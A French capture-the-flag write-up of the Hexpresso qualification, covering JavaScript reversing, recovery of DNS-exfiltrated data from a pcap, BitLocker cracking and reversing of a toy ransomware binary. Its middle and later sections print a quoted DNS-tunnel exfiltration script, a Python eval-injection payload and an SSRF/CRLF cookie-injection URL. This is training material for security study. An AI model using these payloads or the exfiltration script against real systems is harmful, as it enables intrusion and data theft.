7 étapes, composées de challenges de catégories très différentes et variées, avec une montée en difficulté en général, nous rapprochent de plus en plus de la qualification.
Malheureusement, nous ne sommes arrivés à réussir que les six premières étapes.
En résumé :
On arrive sur le premier lien.
Play
La première étape correspond à une page web qui demande à l’utilisateur de renseigner un flag qui sera ensuite vérifier par un script JavaScript. Ce script se trouve dans le code source de la page :
const play = () => {
var game = new Array(116, 228, 203, 270, 334, 382, 354, 417, 485, 548, 586, 673, 658, 761, 801, 797, 788, 850, 879, 894, 959, 1059, 1071, 1140, 1207, 1226, 1258, 1305, 1376, 1385, 1431, 1515);
const u_u = "CTF.By.HexpressoCTF.By.Hexpresso";
const flag = document.getElementById("flag").value;
for (i = 0; i < u_u.length; i++) {
if (u_u.charCodeAt(i) + flag.charCodeAt(i) + i * 42 != game[i]) {
alert("NOPE");
return;
}
}
// Good j0b
alert("WELL DONE!");
document.location.replace(
document.location.protocol +
"//" +
document.location.hostname +
"/" +
flag
);
};
/**
** Thanks all <3
** @HexpressoCTF
**
** The next step is here : https://ctf.hexpresso.fr/{p_p}
**/
La fonction play
vérifie pour chaque caractère de l’entrée si la condition suivante est vérifiée :
u_u.charCodeAt(i) + flag.charCodeAt(i) + i * 42 == game[i]
Si elle n’est pas vérifiée, alors le flag est incorrect. Ce qui revient à l’équation suivante :
flag.charCodeAt(i) == game[i] - u_u.charCodeAt(i) - i * 42
On peut alors écrire le script python suivant qui calcule le flag à partir des éléments connus game
et u_u
:
game = [116, 228, 203, 270, 334, 382, 354, 417, 485, 548, 586, 673, 658, 761, 801, 797, 788, 850, 879, 894, 959, 1059, 1071, 1140, 1207, 1226, 1258, 1305, 1376, 1385, 1431, 1515]
u_u = "CTF.By.HexpressoCTF.By.Hexpresso"
flag = ''
for i in range(len(game)):
flag += chr(game[i] - ord(u_u[i]) - i * 42)
print(flag)
Le flag est donc 1f1bd383026a5db8145258efb869c48f
.
Pour information, je laisse mes scripts tels qu’ils étaient lors de la dernière réalisation.
On arrive sur le second lien.
Nous soupçonnons une exfiltration de données.
Nous avons capturé des données réseaux, à vous d'extraire le lien pour la prochaine étape !
On a un lien vers un pcap.
On l’ouvre avec Wireshark. On regarde les statistiques (Statistics > Protocol Hierarchy) ou tout simplement les différentes paquets et on remarque qu’il y a énormément de requêtes DNS dont de nombreux enregistrements d’adresse A avec des sous-domaines hexadécimaux plus qu’étranges …
On remarque une requête HTTP, on voit le nom d’un document qui apparaît être un script python (dnstunnel.py
), on l’exporte au cas où, il pourra peut-être servir plus tard.
On nous parle d’exfiltration dans l’énoncé, on voit des strings hexadécimales en sous-domaines dans des requêtes DNS, (de type hex_string.local.tux
) on pense donc naturellement à une exfiltration DNS.
On récupère donc toutes ces hex strings grâce au petit script suivant, merci à scapy
:
from scapy.all import rdpcap, DNSQR, DNSRR
data=""
for p in rdpcap("cb52ae4d15503c598f0bb42b8af1ce51.pcap"):
if p.haslayer(DNSQR) and not p.haslayer(DNSRR):
if "local.tux" in p[DNSQR].qname :
fragment = p[DNSQR].qname.replace('local.tux', '')[:-2]
print(fragment)
data += fragment
open('exfiltrated_data.txt', 'w').write(data)
On a en sortie la concaténation de toutes ces hex strings. Cependant, les strings n’ont rien de particulières une fois décodées en ASCII ou en essayant de voir s’il y a des hashes. Avec xxd -r -p
on crée le fichier binaire associé mais file
ne trouve aucun magic number et nous retourne simplement que c’est de la data
.pour lui :( .
Intéressons-nous donc maintenant au fichier extrait, à savoir dnstunnel.py
:
#! /usr/bin/python3
# I have no idea of what I'm doing
#Because why not!
import random
import os
f = open('data.txt','rb')
data = f.read()
f.close()
print("[+] Sending %d bytes of data" % len(data))
#This is propa codaz
print("[+] Cut in pieces ... ")
def encrypt(l):
#High quality cryptographer!
key = random.randint(13,254)
output = hex(key)[2:].zfill(2)
for i in range(len(l)):
aes = ord(l[i]) ^ key
#my computer teacher hates me
output += hex(aes)[2:].zfill(2)
return output
def udp_secure_tunneling(my_secure_data):
#Gee, I'm so bad at coding
#if 0:
mycmd = "host -t A %s.local.tux 172.16.42.222" % my_secure_data
os.system(mycmd)
#We loose packet sometimes?
os.system("sleep 1")
#end if
def send_data(s):
#because I love globals
global n
n = n+1
length = random.randint(4,11)
# If we send more bytes we can recover if we loose some packets?
redundancy = random.randint(2,16)
chunk = data[s:s+length+redundancy].decode("utf-8")
chunk = "%04d%s"%(s,chunk)
print("%04d packet --> %s.local.tux" % (n,chunk))
blob = encrypt(chunk)
udp_secure_tunneling(blob)
return s + length
cursor = 0
n=0
while cursor<len(data):
cursor = send_data(cursor)
#Is it ok?
Résumé du script :
En entrée on a les données data
du fichier data.txt
qui a priori nous intéresse.
La fonction principale est send_data
qui va envoyer au fur et à mesure des bouts successifs ordonnés de data
avec une certaine redondance (on verra après qu’il suffit de supprimer quelques données lors d’un post-traitement) en UDP (fonction udp_secure_tunneling
). MAIS ces données (avec la redondance) sont chiffrées via encrypt
(et on s’affole ! … ou pas en fait).
On va donc récupérer data.txt grâce à deux opérations :
data.txt
En cryptographie, on dit souvent que le secret c’est la clé, tout le reste on s’en fiche. Du coup en lisant le code, on se rend vite compte que chaque chunk de données chiffré contient au début la clé. Cela nous facilite le travail, sachant qu’en plus le chiffrement en lui-même est un simple xor
entre chaque élément des données non chiffrées et la clé que l’on retrouve donc au début du chiffré.
En gros, pour faire dans le visuel et en simplifiant un peu : enc(data) = key|data[0]^key|data[1]^key|...
et donc pour le déchiffrement on récupère la clé key
et on effectue un xor
entre chaque élément de la donnée chiffrée et key
((data[i] ^ key) ^key = data[i]
\o/).
def decrypt(l):
key = int(l[:2],16)
encrypt=l[2:]
decrypt = ""
while not (encrypt==""):
todecrypt = encrypt[:2]
encrypt = encrypt[2:]
todecrypt = int(todecrypt,16)
decrypt += chr(key ^todecrypt)
return decrypt
with open("newline","r") as f:
lines = f.readlines()
lines = [line[:-1] for line in lines]
for line in lines:
print decrypt(line)
On se retrouve avec le fichier assez moche suivant :
0000Congratulations!! Y
0011ions!! You did it so f
0020u did it so far!
Here is
0030o far!
Here is t
0039ere is the link
0049 link in bas
0059ase32 for
0064 form:
NB2HI4DTHIX
0071NB2HI4DTHIXS6Y3UMYXGQ
0077DTHIXS6Y3UMYXGQZLY
0081XS6Y3UMYXGQZLY
00853UMYXGQZLY
0092ZLYOBZG
0097ZGK43TN4XGM4
0103N4XGM4RPGU3TSODDME2DO
0112U3TSODDME2DOZDBMNSTKY
0122DOZDBMNSTKYZVMU3G
0127MNSTKYZVMU3GIMZVGI4T
MOJ
01373GIMZVGI4T
MOJQM
0141ZVGI4T
MOJQMM4DMMZTG42QU==
0152MM4DMMZTG42QU===
0159TG42QU===
_
0163QU===
#puis garbage ascii art
On nettoie ce fichier en enlevant les sortes d’en-têtes et la redondance en recollant au bon endroit, on obtient une string dans une certaine base : NB2HI4DTHIXS6Y3UMYXGQZLYOBZGK43TN4XGM4RPGU3TSODDME2DOZDBMNSTKYZVMU3GIMZVGI4TMOJQMM4DMMZTG42QU===
.
Vu le padding ce n’est pas de la base64, vu la (faible) variété des caractères, on essaie la base32 avecbase32 -d base.txt
.
Et on a le lien pour l’étape suivante.
On a donc un nouveau lien.
We found this USB key in the pocket of a criminal, are you able to analyze it and find his secret.
On récupère un fichier inconnu de 100 Mo 76b0c868ab7397cc6a0c0a1e107e3079.raw
.
On investigue comme d’habitude :
root@kali:~/hexpresso/3# file 76b0c868ab7397cc6a0c0a1e107e3079.raw
76b0c868ab7397cc6a0c0a1e107e3079.raw: DOS/MBR boot sector MS-MBR Windows 7 english at offset 0x163 "Invalid partition table" at offset 0x17b "Error loading operating system" at offset 0x19a "Missing operating system", disk signature 0x47e6da9e; partition 1 : ID=0x7, start-CHS (0x0,2,3), end-CHS (0xc5,3,19), startsector 128, 198656 sectors
root@kali:~/hexpresso/3# fdisk -l 76b0c868ab7397cc6a0c0a1e107e3079.raw
Disk 76b0c868ab7397cc6a0c0a1e107e3079.raw: 100 MiB, 104857600 bytes, 204800 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x47e6da9e
Device Boot Start End Sectors Size Id Type
76b0c868ab7397cc6a0c0a1e107e3079.raw1 128 198783 198656 97M 7 HPFS/NTF
Qu’est-ce donc que ce “HPFS/NTF” présent dans ce MBR ? On essaie de le monter sur notre VM juste pour voir :
mount -o loop,offset=$((128*512)) 76b0c868ab7397cc6a0c0a1e107e3079.raw res/
mount: /root/hexpresso/3/res: unknown filesystem type 'BitLocker'
Ah, la partition est donc a priori chiffrée avec BitLocker
. On vérifie rapidement si cela a un sens :
hexdump -C -s $((512*128)) -n 16 76b0c868ab7397cc6a0c0a1e107e3079.raw | grep -i fve
00010000 eb 58 90 2d 46 56 45 2d 46 53 2d 00 02 08 00 00 |.X.-FVE-FS-.....|
On a la bonne magic string.
bdeinfo -o 65536 76b0c868ab7397cc6a0c0a1e107e3079.raw
bdeinfo 20190102
BitLocker Drive Encryption information:
Encryption method : AES-CBC 128-bit with Diffuser
Volume identifier : 51fcbae5-da67-49f6-b6f8-5d8abc60dc44
Creation time : Dec 02, 2019 21:26:53.504000000 UTC
Description : JOHN-PC New Volume 12/2/2019
Number of key protectors : 2
Key protector 0:
Identifier : fda65ba6-0a73-44a2-beea-07144123fe67
Type : Password
Key protector 1:
Identifier : 1c6a101d-5171-470a-87ad-6cc388da43da
Type : Recovery password
Bon, la magic string nous le confirme et bdeinfo
encore plus, on a bien à faire à du BitLocker.
On doit donc trouver une clé de déchiffrement ou un mot de passe.
Ayant plus rencontré des challenges où on a un MBR et un dump compréhensible par volatility, j’ai l’habitude de chercher une clé. Cherchons donc une clé AES ou assimilée : j’ai essayé bulk_extractor
, aes-finder
, aeskeyfind
, mais rien n’a marché … :(
On se tourne donc vers l’autre idée : le password. On trouve un utilitaire sympathique pour monter avec un password, dislocker
puis un utilitaire qui peut marcher avec une wordlist : dislocker-dict
. On trouve alors aisément que le password est … tout simplement password
-_-. Bon du coup on monte cela et on obtient un fichier bde1
dans bitlocker_mnt
et on monte ce dernier :
bdemount -p password -o $((128*512)) 76b0c868ab7397cc6a0c0a1e107e3079.raw bitlocker_mnt/
file bitlocker_mnt/bde1
bitlocker_mnt/bde1: DOS/MBR boot sector, code offset 0x52+2, OEM-ID "NTFS ", sectors/cluster 8, Media descriptor 0xf8, sectors/track 63, heads 16, hidden sectors 128, dos < 4.0 BootSector (0x80), FAT (1Y bit by descriptor); NTFS, sectors/track 63, sectors 198655, $MFT start cluster 8277, $MFTMirror start cluster 2, bytes/RecordSegment 2^(-1*246), clusters/index block 1, serial number 08618333c18332a97; contains bootstrap BOOTMGR
root@kali:~/hexpresso/3# mkdir bitlocker_test
root@kali:~/hexpresso/3# mount -t auto bitlocker_mnt/bde1 bitlocker_test/
On trouve un fichier flag.txt mais rien d’intéressant à part du troll de chaignc. Bon, on va vérifier que certains fichiers n’ont pas été supprimés ou plutôt désindexés mais encore présents dans bde1
. On carve avec foremost
(ici ça va, ça suffit, les puristes diront que c’est de la triche ; on aurait pu utiliser binwalk -e
ou encore regarder avec un éditeur hexadécimal et faire des dd
mais passons) qui nous trouve un zip qu’il met dans les répertoires créés output/zip
:
root@kali:~/hexpresso/3/output/zip# unzip 00066346.zip
Archive: 00066346.zip inflating: fic.txt
root@kali:~/hexpresso/3/output/zip# cat fic.txt
https://gist.github.com/bosal43833/3e815abc3f92e45963a8aafc8acfe411
Et sur le gist on trouve un bout de code appelé flag contenant le lien en base64 de l’étape suivante.
L’archive contient un binaire ELF 64-bit wannafic
qui permet de chiffrer un fichier et un fichier flag.txt.crypt
qui contient le flag chiffré.
En analysant le binaire à l’aide d’Ida, on obtient le pseudocode suivant :
unsigned __int64 __fastcall encrypt(FILE *file_stream, const char *filename, __int64 seed)
{
char r; // ST23_1
char c; // [rsp+22h] [rbp-11Eh]
int i; // [rsp+24h] [rbp-11Ch]
FILE *stream; // [rsp+28h] [rbp-118h]
char s[8]; // [rsp+30h] [rbp-110h]
// ...
*(_QWORD *)s = 0LL;
// ...
srand(seed);
printf("[*] ts : %d\n", seed);
snprintf(s, 0x100uLL, "%s.crypt", filename);
printf("[*] Writing to %s\n", s);
stream = fopen(s, "w");
if ( !stream )
print("[!] Unable to open file.\n");
for ( i = strlen(filename); ; fputc((char)(r ^ c ^ filename[r % i]), stream) )
{
c = fgetc(file_stream);
if ( c == -1 )
break;
r = rand();
}
fclose(stream);
printf("[*] Done !\n\n", s);
return 0;
}
int __fastcall encrypt_0(const char *filename)
{
__int64 seed; // rax
FILE *stream; // [rsp+18h] [rbp-8h]
printf("[*] Encrypting %s\n", filename);
stream = fopen(filename, "r");
if ( !stream )
print("[!] Unable to open file.\n");
seed = time(0LL);
encrypt(stream, filename, seed);
return fclose(stream);
}
__int64 main(signed int argc, char **argv, char **env)
{
signed int i; // [rsp+1Ch] [rbp-4h]
if ( argc <= 1 )
print("Usage: ./wannafic <file> ...\n");
puts(s);
for ( i = 1; i < argc; ++i )
encrypt_0(argv[i]);
return 0LL;
}
On voit que chaque octet du fichier que l’on veut chiffrer est remplacé par r ^ c ^ filename[r % i]
où r est un entier aléatoire.
Pour pouvoir déchiffrer le fichier, nous avons donc besoin de connaître le seed utilisé. Il suffit de regarder la date de création du fichier flag.txt.crypt
.
$ ls -l flag.txt.crypt
-rw-r--r-- 1 ak ak 2912 Dec 12 13:37 flag.txt.crypt
$ date +'%D %T -> %s' -d '2019-12-12 13:37:00'
12/12/19 13:37:00 -> 1576154220
$ date +'%D %T -> %s' -d '2019-12-12 13:38:00'
12/12/19 13:38:00 -> 1576154280
Le seed est donc entre 1576154220 et 1576154280.
A la suite de cela, nous avons écrit une fonction en C permettant de déchiffrer le fichier et nous l’avons appliqué sur les timestamps calculés ci-dessus à l’aide d’un script Python.
#include <stdio.h>
#include <time.h>
#include <string.h>
#include <errno.h>
#include <stdlib.h>
int main (int argc, char **argv)
{
if(argc != 4){
printf("[-] Usage : %s <file> <timestamp> <output_file>\n",argv[0]);
return -1;
}
FILE *fp;
fp = fopen (argv[1],"r");
if (fp == NULL) {
printf ("[-] Unable to open file %s.\n", argv[1]);
return 1;
}
int timestamp = atoi(argv[2]);
printf("[-] Decrypting '%s' with timestamp %d\n",argv[1],timestamp);
srand(timestamp);
FILE *fo;
fo = fopen(argv[3],"w");
if (fo == NULL) {
printf ("[-] Unable to open file %s.\n", argv[3]);
return 1;
}
int c;
int i=strlen(argv[3]);
int key;
while ((c = fgetc(fp)) != EOF)
{
key = rand() % 0xff;
fputc(c ^ key ^ argv[3][key % i], fo);
}
fclose (fp);
fclose (fo);
return(0);
}
import os
for i in range(1576154220, 1576154280):
os.system('./decoder flag.txt.crypt {} flag.txt'.format(i))
print(i,os.popen('file flag.txt').read())
Cependant, aucun fichier déchiffré ne contient le flag. Le timestamp qui donne le meilleur résultat, c’est-à-dire qui contient le plus de caractères lisible, est 1576154262.
Nous avons ensuite tenté de debugger le binaire pour comprendre en profondeur comment il fonctionne.
L’analyse dynamique nous montre que parfois key % i
peut donner un nombre négatif, ce qui fausse complètement le déchiffrement. Nous avons donc pensé à patcher le binaire à la volée pour l’utiliser de nouveau pour le déchiffrement.
L’idée est que le chiffrement est symétrique, le chiffrement et le déchiffrement peut se faire avec la même fonction. On peut alors simplement réutiliser le binaire pour déchiffrer mais avec le bon seed.
Tout d’abord, nous avons break sur time(0)
pour modifier sa valeur de retour et mettre 1576154262 à la place. Ensuite, nous avons changé le nom de fichier flag.txt.crypt
en flag.txt
puisqu’il est utilisé dans le calcul. Le binaire arrête normalement de chiffrer lorsqu’il voit 0xff et 0xff apparaît plusieurs fois dans le fichier flag.txt.crypt
. Nous avons dû alors changé la valeur du registre EIP plusieurs fois lorsqu’il rencontre 0xff pour que le déchiffrement continue. Et ainsi nous avons obtenu le fichier flag.txt
:
#ASCII art
Well done buddy !!!!
Next step : https://ctf.hexpresso.fr/6bd1d24ab3aa08784f868a533bcdc215
https://ctf.hexpresso.fr/6bd1d24ab3aa08784f868a533bcdc215
En nous connectant avec la méthode donnée, on nous demande une entrée qui a l’air comparée avec le flag. Si on a pas le bon, on nous affiche Bad flag!
En premier reflexe, on essaye les ’ et les ":
Le champs est donc injectable. On essaye alors de récupérer un shell est le code source:
#!/usr/bin/env python
import os
SUCCESS = "Good flag !"
FAIL = "Bad flag !"
def get_flag():
flag = os.environ.get("FLAG", "FLAG{LOCAL_FLAG}")
os.environ.update({"FLAG": ""})
return flag
def get_input():
return eval(f"""'{input(">")}'""")
def main():
flag = get_flag()
if flag == get_input():
print(SUCCESS)
else:
print(FAIL)
if __name__ == "__main__":
main()
La fonction get_flag() nous apprend qu’obtenir un shell ne sert à rien vu que la variable d’environnement est supprimée instantanément.
Notre problème ici, est que le flag n’est défini que localement dans get_flag et dans main. Nous n’y avons pas accès dans get_input():
*Ma première idée a été d'essayer une race condition sur la machine en récupérant les variables d'environnement depuis un terminal, et en me connectant de l'autre.
*Ensuite, j'ai tenté de réecrire la fonction print qui est exécuté après la comparaison grâce à la fonction exec, en vain car étant définie dans get_input, elle n'a pas accès au variable de main.
J’ai pensé à une technique utilisée dans certaine pyjail qui est de crée une nouvelle classe avec des méthodes adaptée à la situation. Il lui faut afficher l’autre élément lorsqu’il est comparé, et rester elle même quand on l’ajoute à une chaine de caractère:
type('laMegaClasse',(),{'__eq__': lambda self,other:print(other),'__add__': lambda self,other:self,'__radd__': lambda self,other:self})()
Next step : http://c4ffddcc437c5df3e6d681e7cafab510.hexpresso.fr
On a donc un nouveau lien.
Welcome to the host fetcher !
On tombe sur une page où on peut lancer une requête sur un FQDN grâce à un input utilisateur/champ texte (on peut le faire comme ça via navigateur ou via curl en appelant l’URL suivie de /host?host=PARAM_USER
) et voir dans la frame en-dessous le résultat.
En regardant le code (Ctrl-u
), on remarque <div class="col s12"> <!-- <span>PS: To get your flag go here: <a href="/secret">/secret</a></span> --> </div>
Bien évidement quand on essaie directement ça ne marche pas, on a une erreur en JSON avec notamment le message"You have to come from 127.0.0.1 not 172.20.0.1 :)"
, et quand on essaie via l’input utilisateur non plus, on a des erreurs … Que faire ?
Alors on peut tenter les en-têtes Referer,
X-Forwarded-For
, ça ne passe pas …
On suppose que la machine va lancer la requête en interne chez elle, on a donc essayé d’afficher localhost dans l’optique d’exploiter une SSRF triviale, ce qui a marché en mettant une autre adresse que localhost
ou 127.0.0.1
(si on met ça on a le droit à un joli This host is not allowed ;)
) mais équivalente car il y a sûrement un check mais en dur. Alors étant un gros flemmard, bah j’ai rajouté un 0 pour avoir au final 127.0.00.1
ce qui bypasse le check.
Donc voilà, on peut voir localhost, on est, pendant quelques femtosecondes, content. Maintenant, on aimerait quand même voir localhost/secret
, mais quand on essaie d’ajouter le /secret
à la payload d’avant, bah on a (encore) des erreurs.
En regardant l’output suite à notre demande, on voit un 404 page not found
ce qui est très étrange vu qu’on nous disait d’aller là-dessus o_O.
En fait (on ne le voit plus dans la version actuelle du challenge mais on le voyait avant dans les erreurs lors de la semaine de qualification), après notre input, côté serveur sera rajouté un “:80”. On va donc mettre un #
ou %23
pour bypasser cela.
Maintenant on a un nouveau message {"ok":false,"message":"Missing GOSESSION ... You are not connected... get away !","flag":""}
. Il faut donc qu’on ajoute un cookie.
On trouve ce cookie dès l’arrivée sur la page du challenge. J’ai essayé de faire sorte que l’on croit à une requête HTTP côté serveur en utilisant les CRLF/\r\n %0D%0A, en oubliant pas le HTTP.
J’ai essayé quelques payloads en utilisant quelques petits tricks, par exemple 127.00.0.1/secret%20HTTP/1.1%0D%0ACookie: GOSESSION=guest-go1.11.5#
en ajoutant bien le HTTP/1.1, en utilisant l’encodage des URLs, en essayant de bypasser le :80
(#,
ajout d’un champ mais pas de la valeur,…) mais sans succès.
Bon, ça ne marchait pas, je me suis dit que je m’étais complètement ou en partie planté. J’ai laissé quelques jours passer, flagge quelques challs du Santhacklaus et sur root-me dont HTTP splitting/smuggling qui me semblait pouvoir être intéressant pour le challenge présent. J’ai remarqué qu’on pouvait faire des boucles en appelant à chaque fois dans le champ host localhost puis en remettant le paramètre GET host
.
Bon finalement à tête reposée, en faisant le lien, j’ai trouvé 127.00.0.1/host?host=127.0.00.1/secret?%20HTTP/1.1%0D%0ACookie:%20GOSESSION=guest-go1.11.5
qui marchait \o/ (et qui doit donc bypasser le problème que je devais avoir avec le :80
.
Et voilà on a enfin notre précieux message : echo"eyJvayI6dHJ1ZSwibWVzc2FnZSI6Ik9rIGhlcmUgaXMgeW91ciBmbGFnIC4uLiIsImZsYWciOiJHZyAhIFNlbmQgbWFpbCBoZXJlIDljYTM3ODMyYjlmYjgwLXBlbnVsdGltYXRlLXN0YWdlQGhleHByZXNzby5mciAhIEJ1dCB0aGVyZSBpcyBvbmUgbGFzdCBzdGVwIGhlcmUgZm9yIHRoZSBicmF2ZSBhdmFpbGFibGUgb24gOiBodHRwczovL2N0Zi5oZXhwcmVzc28uZnIvMjE5MDU4Mjg5ZDg2OTlhZGMwYjExOTM3NGMyZmM1YmMifQ=" | base64 -d {"ok":true,"message":"Ok here is your flag ...","flag":"Gg ! Send mail here 9ca37832b9fb80-penultimate-stage@hexpresso.fr ! But there is one last step here for the brave available on : https://ctf.hexpresso.fr/219058289d8699adc0b119374c2fc5bc%22%7D
Lien : https://ctf.hexpresso.fr/219058289d8699adc0b119374c2fc5bc
Non faite, ou plutôt non finie
####Enoncé:
Courage, this is the last task!
💥 nc ctf.hexpresso.fr 4242 💥
[Protected files : crack it easily!](https://ctf.hexpresso.fr/8e23eca76cbfdb90988a5b92577c147c.zip)
Liée à la heap, UAF avec PIE, problèmes pour leaker …
checksec heapme
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
En gros, on crée un premier élément à l’index 0 on crée un 2e élément à l’index 1 on écrit dans le 1er élément jusqu’à écraser l’élément 2 on appelle ensuite la fonction read de l’élément 2 qui sera réécrite pour exécuter ce qu’on veut.
Premiers schémas des tests :
Schéma plus complet :